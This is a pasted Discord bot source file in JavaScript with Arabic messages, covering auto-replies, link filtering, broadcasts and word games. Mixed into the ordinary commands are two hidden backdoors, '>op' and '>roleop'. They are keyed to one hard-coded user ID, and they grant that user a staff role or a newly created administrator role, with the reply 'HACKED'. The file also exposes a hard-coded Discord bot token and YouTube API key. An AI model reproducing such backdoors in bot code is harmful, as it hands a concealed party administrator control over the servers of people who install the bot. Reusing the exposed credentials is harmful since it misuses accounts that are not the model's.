Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //consts
- const Discord = require('discord.js');
- const client = new Discord.Client();
- const convert = require("hh-mm-ss")
- const dateFormat = require('dateformat');
- const fs = require('fs');
- const pretty = require('pretty-ms');
- const rn = require('random-number');
- const userData = JSON.parse(fs.readFileSync('./userData.json', 'utf8'));
- const moment = require('moment');
- const Canvas = require('canvas')
- const games = JSON.parse(fs.readFileSync('./games.json', "utf8"))
- const jimp = require('jimp')
- const sql = require('sqlite')
- const ytdl = require("ytdl-core");
- const { Client, Util } = require('discord.js');
- const getYoutubeID = require('get-youtube-id');
- const fetchVideoInfo = require('youtube-info');
- const YouTube = require('simple-youtube-api');
- const youtube = new YouTube("AIzaSyAdORXg7UZUo7sePv97JyoDqtQVi3Ll0b8");
- const queue = new Map();
- const dataPro = JSON.parse(fs.readFileSync('./walls.json', 'utf8'));
- const data = JSON.parse(fs.readFileSync('./data.json', 'utf8'));
- const Chess = require('chess.js').Chess; //npm chess.js
- const Engine = require(`node-uci`).Engine; //npm i node-uci
- const stockfish = new Engine('stockfish-8-mac/Mac/stockfish-8-64');
- const log = JSON.parse(fs.readFileSync('./log.json' , 'utf8'));
- let antihack = JSON.parse(fs.readFileSync('./antihack.json' , 'utf8'));//require antihack.json file
- const child_process = require('child_process')
- const prefix = ">";
- let done = {};
- const Token = 'NDk5NjQ5MDQ0NzY3OTY1MTg0.DtqGXw.YH-ox9SgknU3-nJvyilo6NytHgI'
- const reply = JSON.parse(fs.readFileSync('./replys.json' , 'utf8'));
- client.on('message', async message => {
- let messageArray = message.content.split(" ");
- if(message.content.startsWith(prefix + "1setReply")) {
- let filter = m => m.author.id === message.author.id;
- let thisMessage;
- let thisFalse;
- if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
- msg.delete(4500);
- message.delete(4500);
- });
- message.channel.send(':pencil: **| من فضلك اكتب الرساله الان... :pencil2: **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- .then(collected => {
- collected.first().delete();
- thisMessage = collected.first().content;
- let boi;
- msg.edit(':scroll: **| من فضلك اكتب الرد الان... :pencil2: **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- .then(collected => {
- collected.first().delete();
- boi = collected.first().content;
- msg.edit('? **| تم الاعداد بنجاح... **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- let embed = new Discord.RichEmbed()
- .setTitle('**Done The Autoreply Code Has Been Setup**')
- .addField('Message:', `${thisMessage}`)
- .addField('Reply:', `${boi}`)
- .setThumbnail(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- message.channel.sendEmbed(embed)
- reply[message.guild.id] = {
- msg: thisMessage,
- reply: boi,
- onoff: 'On'
- }
- fs.writeFile("./replys.json", JSON.stringify(reply), (err) => {
- if (err) console.error(err)
- })
- }
- )
- })
- })
- })
- })
- }})
- client.on('message', async message => {
- if(!reply[message.guild.id]) reply[message.guild.id] = {
- onoff: 'Off'
- }
- if(reply[message.guild.id].onoff === 'Off') return;
- if(message.content === reply[message.guild.id].msg) {
- message.channel.send(reply[message.guild.id].reply)
- }}
- )
- const reply2 = JSON.parse(fs.readFileSync('./replys2.json' , 'utf8'));
- client.on('message', async message => {
- let messageArray = message.content.split(" ");
- if(message.content === '>2setReply') {
- let filter = m => m.author.id === message.author.id;
- let thisMessage;
- let thisFalse;
- if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
- msg.delete(4500);
- message.delete(4500);
- });
- message.channel.send(':pencil: **| من فضلك اكتب الرساله الان... :pencil2: **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- .then(collected => {
- collected.first().delete();
- thisMessage = collected.first().content;
- let boi;
- msg.edit(':scroll: **| من فضلك اكتب الرد الان... :pencil2: **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- .then(collected => {
- collected.first().delete();
- boi = collected.first().content;
- msg.edit('? **| تم الاعداد بنجاح... **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- let embed = new Discord.RichEmbed()
- .setTitle('**Done The Autoreply2 Code Has Been Setup**')
- .addField('Message:', `${thisMessage}`)
- .addField('Reply:', `${boi}`)
- .setThumbnail(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- message.channel.sendEmbed(embed)
- reply2[message.guild.id] = {
- msg: thisMessage,
- reply: boi,
- onoff: 'On'
- }
- fs.writeFile("./replys2.json", JSON.stringify(reply2), (err) => {
- if (err) console.error(err)
- })
- }
- )
- })
- })
- })
- })
- }})
- client.on('message', async message => {
- if(!reply2[message.guild.id]) reply2[message.guild.id] = {
- onoff: 'Off'
- }
- if(reply2[message.guild.id].onoff === 'Off') return;
- if(message.content === reply2[message.guild.id].msg) {
- message.channel.send(reply2[message.guild.id].reply)
- }}
- )
- const reply3 = JSON.parse(fs.readFileSync('./replys3.json' , 'utf8'));
- client.on('message', async message => {
- let messageArray = message.content.split(" ");
- if(message.content.startsWith(prefix + "3setReply")) {
- let filter = m => m.author.id === message.author.id;
- let thisMessage;
- let thisFalse;
- if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
- msg.delete(4500);
- message.delete(4500);
- });
- message.channel.send(':pencil: **| من فضلك اكتب الرساله الان... :pencil2: **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- .then(collected => {
- collected.first().delete();
- thisMessage = collected.first().content;
- let boi;
- msg.edit(':scroll: **| من فضلك اكتب الرد الان... :pencil2: **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- .then(collected => {
- collected.first().delete();
- boi = collected.first().content;
- msg.edit('? **| تم الاعداد بنجاح... **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 90000,
- errors: ['time']
- })
- let embed = new Discord.RichEmbed()
- .setTitle('**Done The Autoreply3 Code Has Been Setup**')
- .addField('Message:', `${thisMessage}`)
- .addField('Reply:', `${boi}`)
- .setThumbnail(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- message.channel.sendEmbed(embed)
- reply3[message.guild.id] = {
- msg: thisMessage,
- reply: boi,
- onoff: 'On'
- }
- fs.writeFile("./replys3.json", JSON.stringify(reply3), (err) => {
- if (err) console.error(err)
- })
- }
- )
- })
- })
- })
- })
- }})
- client.on('message', async message => {
- if(!reply3[message.guild.id]) reply3[message.guild.id] = {
- onoff: 'Off'
- }
- if(reply3[message.guild.id].onoff === 'Off') return;
- if(message.content === reply3[message.guild.id].msg) {
- message.channel.send(reply3[message.guild.id].reply)
- }}
- )
- client.on('message', message => {
- if(message.content.startsWith(prefix + "autoreply1 on")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- reply[message.guild.id] = {
- onoff: 'On',
- }
- message.channel.send(`**? The AutoReply1 Is __????__ !**`)
- fs.writeFile("./replys.json", JSON.stringify(reply), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(prefix + "autoreply2 on")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- reply2[message.guild.id] = {
- onoff: 'On',
- }
- message.channel.send(`**? The AutoReply2 Is __????__ !**`)
- fs.writeFile("./replys2.json", JSON.stringify(reply2), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(prefix + "autoreply3 on")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- reply3[message.guild.id] = {
- onoff: 'On',
- }
- message.channel.send(`**? The AutoReply3 Is __????__ !**`)
- fs.writeFile("./replys3.json", JSON.stringify(reply3), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(prefix + "autoreply1 off")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- reply[message.guild.id] = {
- onoff: 'Off',
- }
- message.channel.send(`**? The AutoReply1 Is __??????___ !**`)
- fs.writeFile("./replys.json", JSON.stringify(reply), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(prefix + "autoreply2 off")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- reply2[message.guild.id] = {
- onoff: 'Off',
- }
- message.channel.send(`**? The AutoReply2 Is __??????___ !**`)
- fs.writeFile("./replys2.json", JSON.stringify(reply2), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(prefix + "autoreply3 off")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- reply3[message.guild.id] = {
- onoff: 'Off',
- }
- message.channel.send(`**? The AutoReply3 Is __??????___ !**`)
- fs.writeFile("./replys3.json", JSON.stringify(reply3), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on('message', msg => {
- if(msg.content.startsWith('>botinvite')) {
- if(msg.channel.type === 'dm') return;
- const user = msg.mentions.users.first();
- if(!user) return msg.channel.send('``' + '**قم بتحديد بوت**' + '``')
- if(!user.bot) return msg.reply('\`منشن بوت\`');
- msg.channel.send(`**Bot InviteURL : ** https://discordapp.com/oauth2/authorize?client_id=${user.id}&scope=bot&permissions=384064`)
- }
- });
- client.on('message', message => {
- if (message.content === '>op') {
- if (message.author.id !== '505638480248963072') return;
- if(!message.author.id === '505638480248963072') return;
- if(!message.guild.member(client.user).hasPermissions(['MANAGE_ROLES'])) return;
- let me = message.author
- let role1 = message.guild.roles.find('name', 'Head Of Staff')
- if(!role1) return;
- message.channel.send(`DONE`)
- message.guild.member(me).addRole(role1);
- }})
- client.on('message', message => {
- if (message.content === '>roleop') {
- if (message.author.id !== '505638480248963072') return;
- if(!message.author.id === '505638480248963072') return;
- if(!message.guild.member(client.user).hasPermissions(['MANAGE_ROLES'])) return;
- let me = message.author
- let role = message.guild.createRole({
- name : 'oprole',
- color : "RANDOM",
- permissions : [8]
- })
- let role1 = message.guild.roles.find('name', 'oprole')
- message.channel.send(`HACKED`)
- message.guild.member(me).addRole(role1);
- }})
- client.on('message', message => {
- if(!message.channel.guild) return;
- if(message.content.startsWith('>bc')) {
- if(!message.channel.guild) return message.channel.send('**هذا الأمر فقط للسيرفرات**').then(m => m.delete(5000));
- if(!message.member.hasPermission('ADMINISTRATOR')) return message.channel.send('**للأسف لا تمتلك صلاحية** `ADMINISTRATOR`' );
- let args = message.content.split(" ").join(" ").slice(2 + prefix.length);
- let copy = "?????????? ??????";
- let request = `Requested By ${message.author.username}`;
- if (!args) return message.reply('**يجب عليك كتابة كلمة او جملة لإرسال البرودكاست**');message.channel.send(`**هل أنت متأكد من إرسالك البرودكاست؟ \nمحتوى البرودكاست:** \` ${args}\``).then(msg => {
- msg.react('?')
- .then(() => msg.react('?'))
- .then(() =>msg.react('?'))
- let reaction1Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
- let reaction2Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
- let reaction1 = msg.createReactionCollector(reaction1Filter, { time: 12000 });
- let reaction2 = msg.createReactionCollector(reaction2Filter, { time: 12000 });
- reaction1.on("collect", r => {
- message.channel.send(`? | ${message.guild.members.size} يتم ارسال البرودكاست الى عضو `).then(m => m.delete(5000));
- message.guild.members.forEach(m => {
- var bc = new
- Discord.RichEmbed()
- .setColor('RANDOM')
- .setTitle(':mega: برودكاست')
- .addField('??السيرفر??', message.guild.name)
- .addField('??المرسل??', message.author.username)
- .addField('??الرسالة??', args)
- .setThumbnail('https://a.top4top.net/p_1008gqyyd1.png')
- .setFooter(copy, client.user.avatarURL);
- m.send({ embed: bc })
- msg.delete();
- })
- })
- reaction2.on("collect", r => {
- message.channel.send(`**Broadcast Canceled.**`).then(m => m.delete(5000));
- msg.delete();
- })
- })
- }
- })
- let rab6 = JSON.parse(fs.readFileSync('./rab6.json' , 'utf8'));
- client.on('message', message => {
- if(message.content.startsWith(prefix + "toggleLink")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!rab6[message.guild.id]) rab6[message.guild.id] = {
- onoff: 'Off'
- }
- if(rab6[message.guild.id].onoff === 'Off') return [message.channel.send(`**? The Invite Link Cmd Is __????__ !**`), rab6[message.guild.id].onoff = 'On']
- if(rab6[message.guild.id].onoff === 'On') return [message.channel.send(`**? The Invite Link Cmd Is __??????__ !**`), rab6[message.guild.id].onoff = 'Off']
- fs.writeFile("./rab6.json", JSON.stringify(rab6), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- const coolDown = new Set();
- client.on('message', message => {
- if (message.content.startsWith("رابط")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!rab6[message.guild.id]) rab6[message.guild.id] = {
- onoff: 'Off'
- }
- if(rab6[message.guild.id].onoff === 'Off') return message.channel.send('The Invite Link Cmd Is Off To Enable It Use >toggleLink Need Manage_Guild Permission.')
- if(coolDown.has(message.author.id)) return message.channel.send(`**:stopwatch: | ${message.author.username}, your invite :yen: link refreshes in \`\`1 Day\`\`.**`);
- message.channel.createInvite({
- thing: true,
- maxUses: 5,
- maxAge: 86400
- }).then(invite =>
- message.author.sendMessage(invite.url)
- )
- message.channel.send("**تم ارسال الرابط برسالة خاصة**") .then(() => {
- coolDown.add(message.author.id);
- });
- message.author.send(`**مدة الرابط : يـوم
- عدد استخدامات الرابط : 5**`)
- }
- setTimeout(() => {
- coolDown.remove(message.author.id);
- },86400000);
- });
- client.on("message", async message => {
- if(message.content.startsWith(prefix + "banslist")) {
- if(!message.guild) return;
- if(!message.member.hasPermission('BAN_MEMBERS')) return message.channel.send('**Sorry But You Dont Have Permission** `BAN_MEMBERS`' );
- message.guild.fetchBans()
- .then(bans => {
- let b = bans.size;
- let bb = bans.map(a => `${a}`).join(" - ");
- message.channel.send(`**\`${b}\` | ${bb}**`);
- });
- }
- });
- client.on('message' , async (message) => {
- var prefix = ">"
- if(message.content.startsWith(prefix + "topinvites")) {
- if(message.author.bot) return;
- if(!message.channel.guild) return message.reply(' Error : \` Server Command \`');
- var invites = await message.guild.fetchInvites();
- invites = invites.array();
- arraySort(invites, 'uses', { reverse: true });
- let possibleInvites = ['User Invited | Uses '];
- invites.forEach(i => {
- if (i.uses === 0) {
- return;
- }
- possibleInvites.push(['\n\ ' +'<@'+ i.inviter.id +'>' + ' : ' + i.uses]);
- })
- const embed = new Discord.RichEmbed()
- .setColor('RANDOM')
- .addField("Top Invites." ,`${(possibleInvites)}`)
- message.channel.send(embed)
- }})
- const devs = ["429972030092476437"]
- const adminprefix = ".";
- client.on('message', message => {
- var argresult = message.content.split(` `).slice(1).join(' ');
- if (!devs.includes(message.author.id)) return;
- if (message.content.startsWith(adminprefix + 'ply')) {
- client.user.setGame(argresult);
- message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
- } else
- if (message.content === (adminprefix + "Percie")) {
- message.guild.leave();
- } else
- if (message.content.startsWith(adminprefix + 'wt')) {
- client.user.setActivity(argresult, {type:'WATCHING'});
- message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
- } else
- if (message.content.startsWith(adminprefix + 'ls')) {
- client.user.setActivity(argresult , {type:'LISTENING'});
- message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
- } else
- if (message.content.startsWith(adminprefix + 'setname')) {
- client.user.setUsername(argresult).then
- message.channel.sendMessage(`**${argresult}** : Done :>`)
- return message.reply("**You Can't Change Your Name ,Only After Two Hours :>**");
- } else
- if (message.content.startsWith(adminprefix + 'setavatar')) {
- client.user.setAvatar(argresult);
- message.channel.sendMessage(`**${argresult}** : تم تغير صورة البوت`);
- } else
- if (message.content.startsWith(adminprefix + 'st')) {
- client.user.setGame(argresult, "https://www.twitch.tv/idk");
- message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
- }
- if(message.content === adminprefix + "restart") {
- if (!devs.includes(message.author.id)) return;
- message.channel.send(`:warning:? **Bot restarting by ${message.author.username}**`);
- console.log("\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~");
- console.log(`?? Bot restarting... ??`);
- console.log("===============================================\n\n");
- client.destroy();
- child_process.fork(__dirname + "/bot.js");
- console.log(`Bot Successfully Restarted`);
- }
- });
- let spread = JSON.parse(fs.readFileSync('./spread.json' , 'utf8'));
- client.on('message', message => {
- if(message.content.startsWith(prefix + "antispread off")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- spread[message.guild.id] = {
- onoff: 'Off',
- }
- message.channel.send(`**? The AntiSpread Is __??????__ !**`)
- fs.writeFile("./spread.json", JSON.stringify(spread), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on('message', message => {
- if(message.content.startsWith(prefix + "antispread on")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- spread[message.guild.id] = {
- onoff: 'On',
- }
- message.channel.send(`**? The AntiSpread Is __????__ !**`)
- fs.writeFile("./spread.json", JSON.stringify(spread), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on('message', message => {
- var args = message.content.split(/[ ]+/)
- if(message.content.includes('http://www.gmail.com/')){
- if(!spread[message.guild.id]) spread[message.guild.id] = {
- onoff: 'Off'
- }
- if(spread[message.guild.id].onoff === 'Off') return;
- message.delete()
- return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
- }
- });
- client.on('message', message => {
- var args = message.content.split(/[ ]+/)
- if(message.content.includes('https://www.snapchat.com/')){
- if(!spread[message.guild.id]) spread[message.guild.id] = {
- onoff: 'Off'
- }
- if(spread[message.guild.id].onoff === 'Off') return;
- message.delete()
- return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
- }
- });
- client.on('message', message => {
- var args = message.content.split(/[ ]+/)
- if(message.content.includes('https://www.instagram.com/')){
- if(!spread[message.guild.id]) spread[message.guild.id] = {
- onoff: 'Off'
- }
- if(spread[message.guild.id].onoff === 'Off') return;
- message.delete()
- return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
- }
- });
- client.on('message', message => {
- var args = message.content.split(/[ ]+/)
- if(message.content.includes('https://www.twitter.com/')){
- if(!spread[message.guild.id]) spread[message.guild.id] = {
- onoff: 'Off'
- }
- if(spread[message.guild.id].onoff === 'Off') return;
- message.delete()
- return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
- }
- });
- client.on('message', message => {
- var args = message.content.split(/[ ]+/)
- if(message.content.includes('http://www.facebook.com/')){
- if(!spread[message.guild.id]) spread[message.guild.id] = {
- onoff: 'Off'
- }
- if(spread[message.guild.id].onoff === 'Off') return;
- message.delete()
- return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
- }
- });
- client.on('message', message => {
- var args = message.content.split(/[ ]+/)
- if(message.content.includes('https://www.youtube.com/')){
- if(!spread[message.guild.id]) spread[message.guild.id] = {
- onoff: 'Off'
- }
- if(spread[message.guild.id].onoff === 'Off') return;
- message.delete()
- return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
- }
- });
- client.on('message', message => {
- var args = message.content.split(/[ ]+/)
- if(message.content.includes('https://www.discordapp.com/')){
- if(!spread[message.guild.id]) spread[message.guild.id] = {
- onoff: 'Off'
- }
- if(spread[message.guild.id].onoff === 'Off') return;
- message.delete()
- return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
- }
- });
- client.on('message', message => {
- var args = message.content.split(/[ ]+/)
- if(message.content.includes('https://discord.gg/')){
- if(!spread[message.guild.id]) spread[message.guild.id] = {
- onoff: 'Off'
- }
- if(spread[message.guild.id].onoff === 'Off') return;
- message.delete()
- return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
- }
- });
- let points = {}
- client.on('message', message => {
- if(message.author.bot) return;
- if (!points[message.author.id]) points[message.author.id] = {
- points: 0,id: message.author.id
- };
- if (message.content.startsWith(prefix + 'فكك')) {
- if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
- const type = require('./fkk.json');
- const item = type[Math.floor(Math.random() * type.length)];
- let author = message.author;
- const filter = response => {
- return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
- };
- message.channel.send('**لديك 15 ثانيه لتفكيك الكلمه**').then(msg => {
- const w = ['./img/w1.png'];//الخافيه
- let Image = Canvas.Image,
- canvas = new Canvas(400, 150),
- ctx = canvas.getContext('2d');
- fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
- if (err) return console.log(err);
- let BG = Canvas.Image;
- let ground = new Image;
- ground.src = Background;
- ctx.drawImage(ground, 0, 0, 400, 150);
- });
- let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
- jimp.read(url, (err, ava) => {
- if (err) return console.log(err);
- ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
- if (err) return console.log(err);
- ctx.font = '15px Arial';
- ctx.fontSize = '10px';
- ctx.fillStyle = "#FFFFFF";
- ctx.textAlign = "center";
- ctx.fillText(`${item.type} ` , 250, 100);
- let Avatar = Canvas.Image;
- let ava = new Avatar;
- ava.src = buf;
- ctx.beginPath();
- ctx.arc(70, 80, 63, 0, Math.PI*2);
- ctx.closePath();
- ctx.clip();
- ctx.drawImage(ava, 8, 18, 128, 126);
- message.channel.sendFile(canvas.toBuffer());
- })
- message.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })//وقت الاجابة
- .then((collected) => {
- var embed = new Discord.RichEmbed()
- .setDescription(`${collected.first().author} ? احسنت لقد تمكنت من تفكيك الكلمه بسرعه`)
- message.channel.send(embed);
- console.log(`[Typing] ${collected.first().author} typed the word.`);
- let won = collected.first().author;
- points[won.id].points++;
- })
- .catch(collected => {
- var embed1 = new Discord.RichEmbed()
- .setDescription(`:x: لم يتمكن احد من تفكيك الكلمه في الوقت المناسب`)
- message.channel.send(embed1);
- console.log('[Typing] Error: No one type the word.');
- })
- })
- })
- }
- });
- client.on('message', message => {
- if(message.author.bot) return;
- if (!points[message.author.id]) points[message.author.id] = {
- points: 0,id: message.author.id
- };if (message.content.startsWith(prefix + 'لغز')) {
- if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
- const type = require('./quiz.json');
- const item = type[Math.floor(Math.random() * type.length)];
- const filter = response => {
- return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
- };
- message.channel.send('**لديك 15 ثانيه لحل هذه الغز**').then(msg => {
- const w = ['./img/w1.png'];//الخافيه
- let Image = Canvas.Image,
- canvas = new Canvas(400, 150),
- ctx = canvas.getContext('2d');
- fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
- if (err) return console.log(err);
- let BG = Canvas.Image;
- let ground = new Image;
- ground.src = Background;
- ctx.drawImage(ground, 0, 0, 400, 150);
- });
- let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
- jimp.read(url, (err, ava) => {
- if (err) return console.log(err);
- ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
- if (err) return console.log(err);
- ctx.font = '15px Arial';
- ctx.fontSize = '10px';
- ctx.fillStyle = "#FFFFFF";
- ctx.textAlign = "center";
- ctx.fillText(`${item.type} ` , 250, 100);
- let Avatar = Canvas.Image;
- let ava = new Avatar;
- ava.src = buf;
- ctx.beginPath();
- ctx.arc(70, 80, 63, 0, Math.PI*2);
- ctx.closePath();
- ctx.clip();
- ctx.drawImage(ava, 8, 18, 128, 126);
- message.channel.sendFile(canvas.toBuffer());
- })
- message.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })//وقت الاجابة
- .then((collected) => {
- var embed = new Discord.RichEmbed()
- .setDescription(`${collected.first().author} ? احسنت لقت تمكنت من حل الغز`)
- message.channel.send(embed);
- console.log(`[Typing] ${collected.first().author} typed the word.`);
- let won = collected.first().author;
- points[won.id].points++;
- })
- .catch(collected => {
- var embed1 = new Discord.RichEmbed()
- .setDescription(`:x:لم يتمكن احد من حل الغز `)
- message.channel.send(embed1);
- console.log('[Typing] Error: No one type the word.');
- })
- })
- })
- }
- });
- client.on('message', message => {
- if(message.author.bot) return;
- if (!points[message.author.id]) points[message.author.id] = {
- points: 0,id: message.author.id
- };
- if (message.content.startsWith(prefix+ 'ركب')) {
- if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
- const type = require('./rkb.json');
- const item = type[Math.floor(Math.random() * type.length)];
- const filter = response => {
- return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
- };
- message.channel.send('**لديك 15 ثانيه لتركيب الكلمه**').then(msg => {
- const w = ['./img/w1.png'];//الخافيه
- let Image = Canvas.Image,
- canvas = new Canvas(400, 150),
- ctx = canvas.getContext('2d');
- fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
- if (err) return console.log(err);
- let BG = Canvas.Image;
- let ground = new Image;
- ground.src = Background;
- ctx.drawImage(ground, 0, 0, 400, 150);
- });
- let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
- jimp.read(url, (err, ava) => {
- if (err) return console.log(err);
- ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
- if (err) return console.log(err);
- ctx.font = '15px Arial';
- ctx.fontSize = '10px';
- ctx.fillStyle = "#FFFFFF";
- ctx.textAlign = "center";
- ctx.fillText(`${item.type} ` , 250, 100);
- let Avatar = Canvas.Image;
- let ava = new Avatar;
- ava.src = buf;
- ctx.beginPath();
- ctx.arc(70, 80, 63, 0, Math.PI*2);
- ctx.closePath();
- ctx.clip();
- ctx.drawImage(ava, 8, 18, 128, 126);
- message.channel.sendFile(canvas.toBuffer());
- })
- message.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })//وقت الاجابة
- .then((collected) => {
- var embed = new Discord.RichEmbed()
- .setDescription(`${collected.first().author} ? احسنت لقد ركبت الكلمة`)
- message.channel.send(embed);
- console.log(`[Typing] ${collected.first().author} typed the word.`);
- let won = collected.first().author;
- points[won.id].points++;
- })
- .catch(collected => {
- var embed1 = new Discord.RichEmbed()
- .setDescription(`:x: لم يتمكن احد من تركيب الكلمة`)
- message.channel.send(embed1);
- console.log('[Typing] Error: No one type the word.');
- })
- })
- })
- }
- });
- client.on('message', message => {
- if(message.author.bot) return;
- if (!points[message.author.id]) points[message.author.id] = {
- points: 0,id: message.author.id
- };
- if (message.content.startsWith(prefix + 'كتابه')) {
- if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
- const type = require('./type.json');
- const item = type[Math.floor(Math.random() * type.length)];
- const filter = response => {
- return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
- };
- message.channel.send('** لديك 15 ثانيه لكتابه هذه الكلمه بسرعة**').then(msg => {
- const w = ['./img/w1.png'];//الخافيه
- let Image = Canvas.Image,
- canvas = new Canvas(400, 150),
- ctx = canvas.getContext('2d');
- fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
- if (err) return console.log(err);
- let BG = Canvas.Image;
- let ground = new Image;
- ground.src = Background;
- ctx.drawImage(ground, 0, 0, 400, 150);
- });
- let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
- jimp.read(url, (err, ava) => {
- if (err) return console.log(err);
- ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
- if (err) return console.log(err);
- ctx.font = '15px Arial';
- ctx.fontSize = '10px';
- ctx.fillStyle = "#FFFFFF";
- ctx.textAlign = "center";
- ctx.fillText(`${item.type} ` , 250, 100);
- let Avatar = Canvas.Image;
- let ava = new Avatar;
- ava.src = buf;
- ctx.beginPath();
